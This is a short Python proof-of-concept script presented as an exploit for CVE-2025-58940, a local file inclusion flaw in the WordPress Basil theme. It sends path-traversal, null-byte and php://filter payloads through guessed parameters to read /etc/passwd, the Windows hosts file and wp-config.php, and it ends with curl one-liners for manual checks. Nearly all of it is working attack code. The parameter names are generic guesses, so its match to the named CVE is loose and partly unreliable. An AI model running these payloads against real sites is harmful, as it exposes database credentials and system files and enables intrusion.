CVE-2025-58940

# CVE-2025-58940 PoC - WordPress Basil Theme LFI # Target: WordPress site with Basil theme <= 1.3.12 import requests import sys TARGET_URL = "http://target-site.com/" THEME_PATH = "wp-content/themes/basil/" def test_lfi(target): """Test for Local File Inclusion vulnerability""" # Common vulnerable parameters in WordPress themes vulnerable_params = [ "file", "template", "page", "theme", "style" ] # Files to test for LFI test_files = [ "../../../../../../../../etc/passwd", "../../../../../../../../windows/system32/drivers/etc/hosts", "../wp-config.php" ] print(f"[*] Testing LFI on {target}") for param in vulnerable_params: for file_path in test_files: # Test different include patterns payloads = [ f"{file_path}", f"{file_path}\0", f"php://filter/convert.base64-encode/resource={file_path}" ] for payload in payloads: try: # Test include via template parameter url = f"{target}{THEME_PATH}?{param}={payload}" response = requests.get(url, timeout=10) # Check for file content leakage if "root:" in response.text or "[boot loader]" in response.text: print(f"[!] VULNERABLE! Parameter: {param}, Payload: {payload}") return True # Check for base64 encoded content if "PD9waH" in response.text or "PD94bWwg" in response.text: print(f"[!] Possible LFI with PHP wrapper detected!") except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") print("[*] No obvious LFI detected with basic tests") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] test_lfi(TARGET_URL) # Manual verification: # curl "http://target.com/wp-content/themes/basil/?file=../../../../../../../../etc/passwd" # curl "http://target.com/wp-content/themes/basil/?file=../wp-config.php"

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